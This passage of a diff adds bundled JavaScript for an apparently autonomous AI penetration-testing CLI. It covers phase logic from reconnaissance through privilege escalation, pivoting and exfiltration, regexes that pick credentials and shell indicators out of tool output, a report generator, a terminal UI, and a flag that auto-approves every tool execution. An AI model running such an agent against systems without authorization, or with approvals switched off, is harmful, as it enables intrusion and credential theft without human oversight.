1570
+ if (!result.success) return;
1571
+ const output = result.output.toLowerCase();
1572
+ if (toolName === "nmap_scan" || toolName === "bash") {
1573
+ const portMatches = result.output.match(/(\d+)\/(tcp|udp)\s+open\s+(\S+)/gi);
1574
+ if (portMatches) {
1575
+ portMatches.forEach((match) => {
1576
+ const [, port, , service] = match.match(/(\d+)\/(tcp|udp)\s+open\s+(\S+)/i) || [];
1577
+ if (port && service) {
1578
+ const existing = this.state.target.services.find((s) => s.port === parseInt(port));
1579
+ if (!existing) {
1580
+ this.state.target.services.push({
1581
+ host: this.state.target.primary,
1582
+ port: parseInt(port),
1583
+ protocol: "tcp",
1584
+ service,
1585
+ vulnerabilities: [],
1586
+ exploited: false
1587
+ });
1588
+ this.recordProgress("discovery");
1589
+ }
1590
+ }
1591
+ });
1592
+ }
1593
+ }
1594
+ if (output.includes("password") || output.includes("credential") || output.includes("hash")) {
1595
+ const passwordPatterns = [
1596
+ /password[:\s=]+["']?(\S+)["']?/gi,
1597
+ /passwd[:\s=]+["']?(\S+)["']?/gi,
1598
+ /(\w+):(\$\d+\$\S+)/g
1599
+ // 해시 패턴
1600
+ ];
1601
+ passwordPatterns.forEach((pattern) => {
1602
+ const matches = result.output.match(pattern);
1603
+ if (matches) {
1604
+ this.think("observation", `\uC7A0\uC7AC\uC801 \uC790\uACA9\uC99D\uBA85 \uBC1C\uACAC: ${matches.slice(0, 3).join(", ")}`);
1605
+ }
1606
+ });
1607
+ }
1608
+ const cveMatches = result.output.match(/CVE-\d{4}-\d+/gi);
1609
+ if (cveMatches) {
1610
+ cveMatches.forEach((cve) => {
1611
+ this.think("observation", `CVE \uBC1C\uACAC: ${cve}`);
1612
+ });
1613
+ }
1614
+ if (output.includes("meterpreter") || output.includes("shell session") || output.includes("www-data") || output.includes("uid=")) {
1615
+ this.addCompromisedHost(this.state.target.primary);
1616
+ }
1617
+ }
1618
+ // ===== 단계 진행 여부 판단 =====
1619
+ shouldAdvancePhase() {
1620
+ const phase = this.getCurrentPhase();
1621
+ switch (phase.id) {
1622
+ case "recon":
1623
+ return this.state.target.services.length > 0;
1624
+ case "scan":
1625
+ return this.state.target.services.length >= 3 || phase.attempts > 10;
1626
+ case "enum":
1627
+ return phase.findings.length >= 3 || phase.attempts > 15;
1628
+ case "vuln":
1629
+ return this.state.findings.some((f) => f.exploitable) || phase.attempts > 15;
1630
+ case "exploit":
1631
+ return this.state.target.compromised.length > 0;
1632
+ case "privesc":
1633
+ return this.state.target.credentials.some((c) => c.privilegeLevel === "root" || c.privilegeLevel === "system");
1634
+ case "pivot":
1635
+ return this.state.target.discovered.length > this.state.target.compromised.length + 1;
1636
+ case "exfil":
1637
+ return phase.attempts > 10;
1638
+ default:
1639
+ return phase.attempts > 10;
1640
+ }
1641
+ }
1642
+ // ===== 응답 분석 =====
1643
+ async analyzeResponse(response) {
1644
+ const successKeywords = ["successfully", "found", "discovered", "obtained", "access granted", "shell", "root", "admin"];
1645
+ const hasSuccess = successKeywords.some((kw) => response.toLowerCase().includes(kw));
1646
+ if (hasSuccess) {
1647
+ this.resetStuckCounter();
1648
+ }
1649
+ }
1650
+ // ===== 다음 액션 결정 =====
1651
+ async decideNextAction(reflection) {
1652
+ const shouldSkip = reflection.toLowerCase().includes("skip") || reflection.toLowerCase().includes("move on") || reflection.toLowerCase().includes("\uB2E4\uC74C \uB2E8\uACC4");
1653
+ return shouldSkip;
1654
+ }
1655
+ // ===== 복구 시도 =====
1656
+ async attemptRecovery(error) {
1657
+ this.think("reflection", `\uBCF5\uAD6C \uC2DC\uB3C4 \uC911: ${error.message}`);
1658
+ if (error.message.includes("timeout")) {
1659
+ this.think("plan", "\uD0C0\uC784\uC544\uC6C3 \uBC1C\uC0DD - \uB354 \uC9E7\uC740 \uBA85\uB839\uC73C\uB85C \uC7AC\uC2DC\uB3C4");
1660
+ } else if (error.message.includes("permission")) {
1661
+ this.think("plan", "\uAD8C\uD55C \uC624\uB958 - \uB2E4\uB978 \uC811\uADFC \uBC29\uC2DD \uC2DC\uB3C4");
1662
+ }
1663
+ }
1664
+ // ===== 최종 보고서 생성 =====
1665
+ async generateFinalReport() {
1666
+ this.setPhaseStatus("report", "in_progress");
1667
+ const report = `
1668
+ # Penetration Test Report
1669
+ ## Executive Summary
1670
+
1671
+ **Target:** ${this.state.target.primary}
1672
+ **Date:** ${(/* @__PURE__ */ new Date()).toISOString()}
1673
+ **Duration:** ${this.state.iteration} iterations
1674
+
1675
+ ### Results Overview
1676
+ - **Hosts Compromised:** ${this.state.target.compromised.length}
1677
+ - **Credentials Obtained:** ${this.state.target.credentials.length}
1678
+ - **Services Discovered:** ${this.state.target.services.length}
1679
+ - **Vulnerabilities Found:** ${this.state.findings.length}
1680
+ - **Successful Exploits:** ${this.state.successfulExploits}
1681
+
1682
+ ## Findings by Severity
1683
+
1684
+ ### Critical (${this.state.findings.filter((f) => f.severity === "critical").length})
1685
+ ${this.state.findings.filter((f) => f.severity === "critical").map((f) => `- ${f.title}: ${f.description}`).join("\n")}
1686
+
1687
+ ### High (${this.state.findings.filter((f) => f.severity === "high").length})
1688
+ ${this.state.findings.filter((f) => f.severity === "high").map((f) => `- ${f.title}: ${f.description}`).join("\n")}
1689
+
1690
+ ### Medium (${this.state.findings.filter((f) => f.severity === "medium").length})
1691
+ ${this.state.findings.filter((f) => f.severity === "medium").map((f) => `- ${f.title}: ${f.description}`).join("\n")}
1692
+
1693
+ ## Compromised Systems
1694
+ ${this.state.target.compromised.map((h) => `- ${h}`).join("\n") || "None"}
1695
+
1696
+ ## Discovered Services
1697
+ ${this.state.target.services.map((s) => `- ${s.host}:${s.port} - ${s.service} ${s.version || ""}`).join("\n")}
1698
+
1699
+ ## Attack Timeline
1700
+ ${this.state.phases.map((p) => `- **${p.korean}**: ${p.status} (${p.attempts} attempts, ${p.findings.length} findings)`).join("\n")}
1701
+
1702
+ ## Recommendations
1703
+ Based on the findings, the following remediation steps are recommended:
1704
+ ${this.state.findings.filter((f) => f.severity !== "info").map((f) => `- Address: ${f.title}`).join("\n")}
1705
+ `;
1706
+ this.setPhaseStatus("report", "completed");
1707
+ this.emit("report", report);
1708
+ return report;
1709
+ }
1710
+ // ===== 요약 =====
1711
+ getSummary() {
1712
+ return {
1713
+ target: this.state.target.primary,
1714
+ status: this.state.status,
1715
+ iterations: this.state.iteration,
1716
+ phases: this.state.phases.map((p) => ({ name: p.korean, status: p.status })),
1717
+ compromised: this.state.target.compromised,
1718
+ credentials: this.state.target.credentials.length,
1719
+ findings: this.state.findings.length,
1720
+ services: this.state.target.services.length
1721
+ };
1722
+ }
1723
+ // ===== 사용자 힌트 처리 =====
1724
+ async processUserHint(hint) {
1725
+ this.think("observation", `\uC0AC\uC6A9\uC790 \uD78C\uD2B8: ${hint}`);
1726
+ this.state.history.push({
1727
+ role: "user",
1728
+ content: `[\uC0AC\uC6A9\uC790 \uD78C\uD2B8] ${hint}`
1729
+ });
1730
+ this.resetStuckCounter();
1731
+ this.emit("hint_received", hint);
1732
+ }
1733
+ // ===== 일시 정지/재개 =====
1734
+ pause() {
1735
+ this.state.status = "paused";
1736
+ this.emit("paused");
1737
+ }
1738
+ resume() {
1739
+ if (this.state.status === "paused") {
1740
+ this.state.status = "running";
1741
+ this.emit("resumed");
1742
+ }
1743
+ }
1744
+ // ===== 리셋 =====
1745
+ reset() {
1746
+ this.state = this.createInitialState();
1747
+ this.emit("reset");
1748
+ }
1749
+ };
1750
+
1751
+ // src/config/theme.ts
1752
+ var THEME = {
1753
+ primary: "#0a0a0a",
1754
+ primaryLight: "#1a1a1a",
1755
+ hacker: {
1756
+ green: "#00ff41",
1757
+ darkGreen: "#008f11",
1758
+ cyan: "#00d4ff",
1759
+ red: "#ff0040",
1760
+ yellow: "#ffcc00",
1761
+ purple: "#9d00ff",
1762
+ orange: "#ff6600"
1763
+ },
1764
+ status: {
1765
+ success: "#00ff41",
1766
+ warning: "#ffcc00",
1767
+ error: "#ff0040",
1768
+ info: "#00d4ff",
1769
+ running: "#9d00ff"
1770
+ },
1771
+ bg: {
1772
+ primary: "#000000",
1773
+ secondary: "#0a0a0a",
1774
+ tertiary: "#141414",
1775
+ elevated: "#1a1a1a"
1776
+ },
1777
+ text: {
1778
+ primary: "#00ff41",
1779
+ secondary: "#00cc33",
1780
+ muted: "#006622",
1781
+ accent: "#00d4ff"
1782
+ },
1783
+ border: {
1784
+ default: "#00ff41",
1785
+ focus: "#00d4ff",
1786
+ error: "#ff0040"
1787
+ }
1788
+ };
1789
+ var ASCII_BANNER = `
1790
+ \u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2557 \u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557
1791
+ \u2588\u2588\u2554\u2550\u2550\u2588\u2588\u2557\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255D\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551\u255A\u2550\u2550\u2588\u2588\u2554\u2550\u2550\u255D\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255D\u2588\u2588\u2554\u2550\u2550\u2550\u2550\u255D\u255A\u2550\u2550\u2588\u2588\u2554\u2550\u2550\u255D
1792
+ \u2588\u2588\u2588\u2588\u2588\u2588\u2554\u255D\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2554\u2588\u2588\u2557 \u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557 \u2588\u2588\u2551
1793
+ \u2588\u2588\u2554\u2550\u2550\u2550\u255D \u2588\u2588\u2554\u2550\u2550\u255D \u2588\u2588\u2551\u255A\u2588\u2588\u2557\u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2554\u2550\u2550\u255D \u255A\u2550\u2550\u2550\u2550\u2588\u2588\u2551 \u2588\u2588\u2551
1794
+ \u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2551 \u255A\u2588\u2588\u2588\u2588\u2551 \u2588\u2588\u2551 \u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2557\u2588\u2588\u2588\u2588\u2588\u2588\u2588\u2551 \u2588\u2588\u2551
1795
+ \u255A\u2550\u255D \u255A\u2550\u2550\u2550\u2550\u2550\u2550\u255D\u255A\u2550\u255D \u255A\u2550\u2550\u2550\u255D \u255A\u2550\u255D \u255A\u2550\u2550\u2550\u2550\u2550\u2550\u255D\u255A\u2550\u2550\u2550\u2550\u2550\u2550\u255D \u255A\u2550\u255D
1796
+ `;
1797
+ var ICONS = {
1798
+ skull: "[!]",
1799
+ lock: "[locked]",
1800
+ unlock: "[unlocked]",
1801
+ target: "[target]",
1802
+ fire: "[active]",
1803
+ warning: "[!]",
1804
+ success: "[+]",
1805
+ error: "[-]",
1806
+ running: "[*]",
1807
+ thinking: "[?]",
1808
+ terminal: "[$]",
1809
+ network: "[net]",
1810
+ exploit: "[exp]",
1811
+ scan: "[scan]",
1812
+ shell: "[shell]"
1813
+ };
1814
+
1815
+ // src/cli/app.tsx
1816
+ import { jsx, jsxs } from "react/jsx-runtime";
1817
+ var App = ({
1818
+ apiKey,
1819
+ target: initialTarget,
1820
+ autoStart = false,
1821
+ autoApprove = false,
1822
+ objective: initialObjective,
1823
+ maxIterations = 200
1824
+ }) => {
1825
+ const { exit } = useApp();
1826
+ const [agent] = useState(() => new AutonomousHackingAgent(apiKey, { maxIterations, autoApprove }));
1827
+ const [appState, setAppState] = useState({
1828
+ status: "idle",
1829
+ target: initialTarget || "",
1830
+ currentPhase: "recon",
1831
+ iteration: 0,
1832
+ maxIterations,
1833
+ findings: 0,
1834
+ compromised: [],
1835
+ credentials: 0,
1836
+ services: 0
1837
+ });
1838
+ const [phases, setPhases] = useState([]);
1839
+ const [thoughts, setThoughts] = useState([]);
1840
+ const [logs, setLogs] = useState([]);
1841
+ const [input, setInput] = useState("");
1842
+ const [showThoughts, setShowThoughts] = useState(true);
1843
+ const [isThinking, setIsThinking] = useState(false);
1844
+ const addLog = useCallback((type, message) => {
1845
+ const entry = {
1846
+ id: `log-${Date.now()}-${Math.random().toString(36).substr(2, 9)}`,
1847
+ type,
1848
+ message,
1849
+ timestamp: /* @__PURE__ */ new Date()
1850
+ };
1851
+ setLogs((prev) => [...prev.slice(-50), entry]);
1852
+ }, []);
1853
+ useEffect(() => {
1854
+ agent.on("thought", (thought) => {
1855
+ setThoughts((prev) => [...prev.slice(-30), thought]);
1856
+ setIsThinking(false);
1857
+ });
1858
+ agent.on("iteration", ({ current, max, phase }) => {
1859
+ setAppState((prev) => ({
1860
+ ...prev,
1861
+ iteration: current,
1862
+ maxIterations: max,
1863
+ currentPhase: phase,
1864
+ status: "running"
1865
+ }));
1866
+ setIsThinking(true);
1867
+ });
1868
+ agent.on("phase_change", ({ phaseId, newStatus }) => {
1869
+ setAppState((prev) => ({ ...prev, currentPhase: phaseId }));
1870
+ addLog("info", `[phase] ${phaseId} -> ${newStatus}`);
1871
+ });
1872
+ agent.on("tool_call", ({ name, input: input2 }) => {
1873
+ addLog("tool", `[tool] ${name}: ${JSON.stringify(input2).slice(0, 100)}...`);
1874
+ });
1875
+ agent.on("tool_result", ({ name, result }) => {
1876
+ if (result.success) {
1877
+ addLog("success", `[+] ${name} completed (${result.duration}ms)`);
1878
+ } else {
1879
+ addLog("error", `[-] ${name} failed: ${result.error}`);
1880
+ }
1881
+ });
1882
+ agent.on("finding", (finding) => {
1883
+ addLog("finding", `[!] [${finding.severity.toUpperCase()}] ${finding.title}`);
1884
+ setAppState((prev) => ({ ...prev, findings: prev.findings + 1 }));
1885
+ });
1886
+ agent.on("credential", (cred) => {
1887
+ addLog("success", `[cred] ${cred.type} - ${cred.username || "unknown"}`);
1888
+ setAppState((prev) => ({ ...prev, credentials: prev.credentials + 1 }));
1889
+ });
1890
+ agent.on("compromised", (host) => {
1891
+ addLog("success", `[pwned] ${host}`);
1892
+ setAppState((prev) => ({
1893
+ ...prev,
1894
+ compromised: [...prev.compromised, host]
1895
+ }));
1896
+ });
1897
+ agent.on("complete", (summary) => {
1898
+ setAppState((prev) => ({ ...prev, status: "completed" }));
1899
+ addLog("success", `[done] Assessment complete: ${JSON.stringify(summary)}`);
1900
+ });
1901
+ agent.on("error", (error) => {
1902
+ addLog("error", `[error] ${error.message}`);
1903
+ });
1904
+ agent.on("report", (report) => {
1905
+ addLog("info", `[report] Generated (${report.length} chars)`);
1906
+ });
1907
+ const state = agent.getState();
1908
+ setPhases(state.phases);
1909
+ if (autoStart && initialTarget) {
1910
+ agent.setTarget(initialTarget);
1911
+ setAppState((prev) => ({ ...prev, target: initialTarget }));
1912
+ agent.runAutonomous(initialObjective);
1913
+ }
1914
+ return () => {
1915
+ agent.removeAllListeners();
1916
+ };
1917
+ }, [agent, addLog, autoStart, initialTarget, initialObjective]);
1918
+ useEffect(() => {
1919
+ const interval = setInterval(() => {
1920
+ const state = agent.getState();
1921
+ setPhases(state.phases);
1922
+ setAppState((prev) => ({
1923
+ ...prev,
1924
+ services: state.target.services.length,
1925
+ credentials: state.target.credentials.length,
1926
+ compromised: state.target.compromised,
1927
+ findings: state.findings.length
1928
+ }));
1929
+ }, 1e3);
1930
+ return () => clearInterval(interval);
1931
+ }, [agent]);
1932
+ useInput((key, mods) => {
1933
+ if (mods.ctrl && key === "c") {
1934
+ exit();
1935
+ return;
1936
+ }
1937
+ if (key === "t") {
1938
+ setShowThoughts((prev) => !prev);
1939
+ }
1940
+ if (key === "p" && appState.status === "running") {
1941
+ agent.pause();
1942
+ setAppState((prev) => ({ ...prev, status: "paused" }));
1943
+ }
1944
+ if (key === "r" && appState.status === "paused") {
1945
+ agent.resume();
1946
+ setAppState((prev) => ({ ...prev, status: "running" }));
1947
+ }
1948
+ });
1949
+ const processCommand = useCallback((cmd) => {
1950
+ const parts = cmd.trim().split(/\s+/);
1951
+ const command = parts[0].toLowerCase();
1952
+ const args = parts.slice(1).join(" ");
1953
+ switch (command) {
1954
+ case "/target":
1955
+ if (args) {
1956
+ agent.setTarget(args);
1957
+ setAppState((prev) => ({ ...prev, target: args }));
1958
+ addLog("info", `[target] Set: ${args}`);
1959
+ }
1960
+ break;
1961
+ case "/start":
1962
+ case "/auto":
1963
+ if (appState.target) {
1964
+ const objective = args || void 0;
1965
+ addLog("info", `[*] Starting autonomous hacking...`);
1966
+ agent.runAutonomous(objective);
1967
+ } else {
1968
+ addLog("error", "No target set. Use /target <ip> first.");
1969
+ }
1970
+ break;
1971
+ case "/hint":
1972
+ if (args && appState.status === "running") {
1973
+ agent.processUserHint(args);
1974
+ addLog("info", `[hint] Sent to agent`);
1975
+ }
1976
+ break;
1977
+ case "/pause":
1978
+ agent.pause();
1979
+ setAppState((prev) => ({ ...prev, status: "paused" }));
1980
+ break;
1981
+ case "/resume":
1982
+ agent.resume();
1983
+ break;
1984
+ case "/reset":
1985
+ agent.reset();
1986
+ setAppState({
1987
+ status: "idle",
1988
+ target: "",
1989
+ currentPhase: "recon",
1990
+ iteration: 0,
1991
+ maxIterations,
1992
+ findings: 0,
1993
+ compromised: [],
1994
+ credentials: 0,
1995
+ services: 0
1996
+ });
1997
+ setThoughts([]);
1998
+ setLogs([]);
1999
+ addLog("info", "Session reset");
2000
+ break;
2001
+ case "/findings":
2002
+ const state = agent.getState();
2003
+ state.findings.forEach((f) => {
2004
+ addLog("finding", `[${f.severity}] ${f.title}: ${f.description.slice(0, 100)}`);
2005
+ });
2006
+ break;
2007
+ case "/help":
2008
+ addLog("info", "Commands: /target <ip>, /start [objective], /hint <hint>, /pause, /resume, /reset, /findings, /help");
2009
+ addLog("info", "Keys: [T] Toggle thoughts, [P] Pause, [R] Resume, Ctrl+C Exit");
2010
+ break;
2011
+ default:
2012
+ if (appState.status === "running" && cmd) {
2013
+ agent.processUserHint(cmd);
2014
+ addLog("info", `[hint] ${cmd}`);
2015
+ }
2016
+ }
2017
+ setInput("");
2018
+ }, [agent, appState, addLog, maxIterations]);
2019
+ const getThoughtStyle = (type) => {
2020
+ const styles = {
2021
+ observation: { prefix: "[observe]", color: THEME.hacker.cyan },
2022
+ hypothesis: { prefix: "[hypothesis]", color: THEME.hacker.yellow },
2023
+ plan: { prefix: "[plan]", color: THEME.hacker.purple },
2024
+ action: { prefix: "[action]", color: THEME.hacker.green },
2025
+ result: { prefix: "[result]", color: THEME.text.primary },
2026
+ reflection: { prefix: "[reflect]", color: THEME.hacker.orange },
2027
+ stuck: { prefix: "[stuck]", color: THEME.hacker.red },
2028
+ breakthrough: { prefix: "[breakthrough]", color: "#00ff00" }
2029
+ };
2030
+ return styles[type] || { prefix: "[info]", color: THEME.text.muted };
2031
+ };
2032
+ const getPhaseIcon = (status) => {
2033
+ switch (status) {
2034
+ case "completed":
2035
+ return "[+]";
2036
+ case "in_progress":
2037
+ return "[*]";
2038
+ case "failed":
2039
+ return "[-]";
2040
+ case "skipped":
2041
+ return "[>]";
2042
+ default:
2043
+ return "[ ]";
2044
+ }
2045
+ };
2046
+ return /* @__PURE__ */ jsxs(Box, { flexDirection: "column", padding: 1, children: [
2047
+ /* @__PURE__ */ jsxs(Box, { flexDirection: "column", marginBottom: 1, children: [
2048
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, children: ASCII_BANNER }),
2049
+ /* @__PURE__ */ jsxs(Box, { marginTop: 1, justifyContent: "space-between", children: [
2050
+ /* @__PURE__ */ jsxs(Text, { color: THEME.hacker.red, children: [
2051
+ ICONS.target,
2052
+ " Target: ",
2053
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.cyan, bold: true, children: appState.target || "Not set" })
2054
+ ] }),
2055
+ /* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, children: [
2056
+ "Status: ",
2057
+ /* @__PURE__ */ jsx(Text, { color: appState.status === "running" ? THEME.hacker.green : THEME.hacker.yellow, children: appState.status.toUpperCase() })
2058
+ ] }),
2059
+ /* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, children: [
2060
+ "Iteration: ",
2061
+ /* @__PURE__ */ jsxs(Text, { color: THEME.hacker.cyan, children: [
2062
+ appState.iteration,
2063
+ "/",
2064
+ appState.maxIterations
2065
+ ] })
2066
+ ] })
2067
+ ] })
2068
+ ] }),
2069
+ /* @__PURE__ */ jsxs(Box, { borderStyle: "single", borderColor: THEME.hacker.purple, paddingX: 1, children: [
2070
+ /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Services: " }),
2071
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, children: appState.services }),
2072
+ /* @__PURE__ */ jsx(Text, { children: " | " }),
2073
+ /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Creds: " }),
2074
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.yellow, children: appState.credentials }),
2075
+ /* @__PURE__ */ jsx(Text, { children: " | " }),
2076
+ /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Pwned: " }),
2077
+ /* @__PURE__ */ jsx(Text, { color: appState.compromised.length > 0 ? THEME.status.success : THEME.text.muted, children: appState.compromised.length > 0 ? appState.compromised.join(", ") : "0" }),
2078
+ /* @__PURE__ */ jsx(Text, { children: " | " }),
2079
+ /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, children: "Findings: " }),
2080
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.orange, children: appState.findings })
2081
+ ] }),
2082
+ /* @__PURE__ */ jsxs(Box, { borderStyle: "single", borderColor: THEME.hacker.cyan, paddingX: 1, marginTop: 1, children: [
2083
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.cyan, bold: true, children: "[phases] " }),
2084
+ phases.map((phase) => /* @__PURE__ */ jsx(Box, { marginRight: 1, children: /* @__PURE__ */ jsxs(
2085
+ Text,
2086
+ {
2087
+ color: phase.id === appState.currentPhase ? THEME.hacker.yellow : phase.status === "completed" ? THEME.status.success : THEME.text.muted,
2088
+ bold: phase.id === appState.currentPhase,
2089
+ children: [
2090
+ getPhaseIcon(phase.status),
2091
+ phase.name,
2092
+ phase.attempts > 0 && /* @__PURE__ */ jsxs(Text, { dimColor: true, children: [
2093
+ "(",
2094
+ phase.attempts,
2095
+ ")"
2096
+ ] })
2097
+ ]
2098
+ }
2099
+ ) }, phase.id))
2100
+ ] }),
2101
+ showThoughts && /* @__PURE__ */ jsxs(
2102
+ Box,
2103
+ {
2104
+ flexDirection: "column",
2105
+ borderStyle: "single",
2106
+ borderColor: THEME.hacker.purple,
2107
+ paddingX: 1,
2108
+ height: 10,
2109
+ marginTop: 1,
2110
+ children: [
2111
+ /* @__PURE__ */ jsxs(Box, { children: [
2112
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.purple, bold: true, children: "[agent thoughts]" }),
2113
+ isThinking && /* @__PURE__ */ jsxs(Box, { marginLeft: 2, children: [
2114
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.yellow, children: /* @__PURE__ */ jsx(Spinner, { type: "dots" }) }),
2115
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.yellow, children: " Thinking..." })
2116
+ ] })
2117
+ ] }),
2118
+ /* @__PURE__ */ jsx(Static, { items: thoughts.slice(-6), children: (thought) => {
2119
+ const style = getThoughtStyle(thought.type);
2120
+ return /* @__PURE__ */ jsxs(Box, { children: [
2121
+ /* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, dimColor: true, children: [
2122
+ "[",
2123
+ thought.timestamp.toLocaleTimeString(),
2124
+ "]"
2125
+ ] }),
2126
+ /* @__PURE__ */ jsxs(Text, { color: style.color, children: [
2127
+ " ",
2128
+ style.prefix,
2129
+ " ",
2130
+ thought.content.slice(0, 120),
2131
+ thought.content.length > 120 && "..."
2132
+ ] })
2133
+ ] }, thought.id);
2134
+ } })
2135
+ ]
2136
+ }
2137
+ ),
2138
+ /* @__PURE__ */ jsxs(
2139
+ Box,
2140
+ {
2141
+ flexDirection: "column",
2142
+ borderStyle: "single",
2143
+ borderColor: THEME.hacker.green,
2144
+ paddingX: 1,
2145
+ height: 12,
2146
+ marginTop: 1,
2147
+ children: [
2148
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, bold: true, children: "[activity log]" }),
2149
+ /* @__PURE__ */ jsx(Static, { items: logs.slice(-10), children: (log) => /* @__PURE__ */ jsxs(Box, { children: [
2150
+ /* @__PURE__ */ jsxs(Text, { color: THEME.text.muted, dimColor: true, children: [
2151
+ "[",
2152
+ log.timestamp.toLocaleTimeString(),
2153
+ "]"
2154
+ ] }),
2155
+ /* @__PURE__ */ jsxs(Text, { color: log.type === "success" ? THEME.status.success : log.type === "error" ? THEME.status.error : log.type === "warning" ? THEME.status.warning : log.type === "finding" ? THEME.hacker.orange : log.type === "tool" ? THEME.hacker.cyan : THEME.text.primary, children: [
2156
+ " ",
2157
+ log.message
2158
+ ] })
2159
+ ] }, log.id) })
2160
+ ]
2161
+ }
2162
+ ),
2163
+ /* @__PURE__ */ jsxs(Box, { marginTop: 1, children: [
2164
+ /* @__PURE__ */ jsxs(Text, { color: THEME.hacker.green, bold: true, children: [
2165
+ "pentesting ",
2166
+ ">",
2167
+ " "
2168
+ ] }),
2169
+ /* @__PURE__ */ jsx(Text, { color: THEME.text.primary, children: input }),
2170
+ /* @__PURE__ */ jsx(Text, { color: THEME.hacker.green, children: "_" })
2171
+ ] }),
2172
+ /* @__PURE__ */ jsx(Box, { marginTop: 1, children: /* @__PURE__ */ jsx(Text, { color: THEME.text.muted, dimColor: true, children: "[T] Toggle thoughts | [P] Pause | [R] Resume | Type command or hint" }) })
2173
+ ] });
2174
+ };
2175
+ var app_default = App;
2176
+
2177
+ // src/index.tsx
2178
+ import chalk from "chalk";
2179
+ import { jsx as jsx2 } from "react/jsx-runtime";
2180
+ var program = new Command();
2181
+ program.name("pentesting").version(APP_VERSION).description(APP_DESCRIPTION).option("--dangerously-skip-permissions", "Skip all permission prompts (dangerous!)").option("-t, --target <target>", "Set initial target");
2182
+ program.command("interactive", { isDefault: true }).alias("i").description("Start interactive TUI mode").action(() => {
2183
+ const opts = program.opts();
2184
+ const skipPermissions = opts.dangerouslySkipPermissions || false;
2185
+ console.clear();
2186
+ console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
2187
+ if (skipPermissions) {
2188
+ console.log(chalk.hex(THEME.hacker.red)("[!] WARNING: Running with --dangerously-skip-permissions"));
2189
+ console.log(chalk.hex(THEME.hacker.red)("[!] All tool executions will be auto-approved!\n"));
2190
+ }
2191
+ console.log(chalk.hex(THEME.hacker.cyan)("Starting Pentest interactive mode...\n"));
2192
+ const { waitUntilExit } = render(
2193
+ /* @__PURE__ */ jsx2(
2194
+ app_default,
2195
+ {
2196
+ autoApprove: skipPermissions,
2197
+ target: opts.target
2198
+ }
2199
+ )
2200
+ );
2201
+ waitUntilExit();
2202
+ });
2203
+ program.command("run <objective>").alias("r").description("Run a single objective and exit").option("-o, --output <file>", "Output file for results").option("--max-steps <n>", "Maximum number of steps", "50").action(async (objective, options) => {
2204
+ const opts = program.opts();
2205
+ const skipPermissions = opts.dangerouslySkipPermissions || false;
2206
+ console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
2207
+ if (skipPermissions) {
2208
+ console.log(chalk.hex(THEME.hacker.red)("[!] WARNING: Running with --dangerously-skip-permissions\n"));
2209
+ }
2210
+ console.log(chalk.hex(THEME.hacker.cyan)(`[target] Objective: ${objective}
2211
+ `));
2212
+ const agent = new AutonomousHackingAgent(void 0, {
2213
+ maxIterations: parseInt(options.maxSteps),
2214
+ autoApprove: skipPermissions
2215
+ });
2216
+ if (opts.target) {
2217
+ agent.setTarget(opts.target);
2218
+ }
2219
+ agent.on("tool_call", (data) => {
2220
+ console.log(chalk.hex(THEME.hacker.cyan)(`[tool] ${data.name} executing...`));
2221
+ });
2222
+ agent.on("finding", (finding) => {
2223
+ const color = finding.severity === "critical" ? THEME.hacker.red : THEME.hacker.yellow;
2224
+ console.log(chalk.hex(color)(`[!] [${finding.severity.toUpperCase()}] ${finding.title}`));
2225
+ });
2226
+ agent.on("error", (error) => {
2227
+ console.error(chalk.hex(THEME.hacker.red)(`[-] Error: ${error.message}`));
2228
+ });
2229
+ try {
2230
+ await agent.runAutonomous(objective);
2231
+ console.log(chalk.hex(THEME.hacker.green)("\n[+] Assessment complete!\n"));
2232
+ const summary = agent.getSummary();
2233
+ console.log(JSON.stringify(summary, null, 2));
2234
+ if (options.output) {
2235
+ const fs2 = await import("fs/promises");
2236
+ await fs2.writeFile(options.output, JSON.stringify(summary, null, 2));
2237
+ console.log(chalk.hex(THEME.hacker.cyan)(`
2238
+ [+] Report saved to: ${options.output}`));
2239
+ }
2240
+ } catch (error) {
2241
+ console.error(chalk.hex(THEME.hacker.red)(`
2242
+ [-] Failed: ${error.message}`));
2243
+ process.exit(1);
2244
+ }
2245
+ });
2246
+ program.command("scan <target>").description("Quick scan a target").option("-s, --scan-type <type>", "Scan type (quick|full|stealth|service|vuln)", "quick").option("-p, --ports <ports>", "Specific ports to scan").action(async (target, options) => {
2247
+ const opts = program.opts();
2248
+ const skipPermissions = opts.dangerouslySkipPermissions || false;
2249
+ console.log(chalk.hex(THEME.hacker.green)(ASCII_BANNER));
2250
+ console.log(chalk.hex(THEME.hacker.cyan)(`
2251
+ [scan] Target: ${target} (${options.scanType})
2252
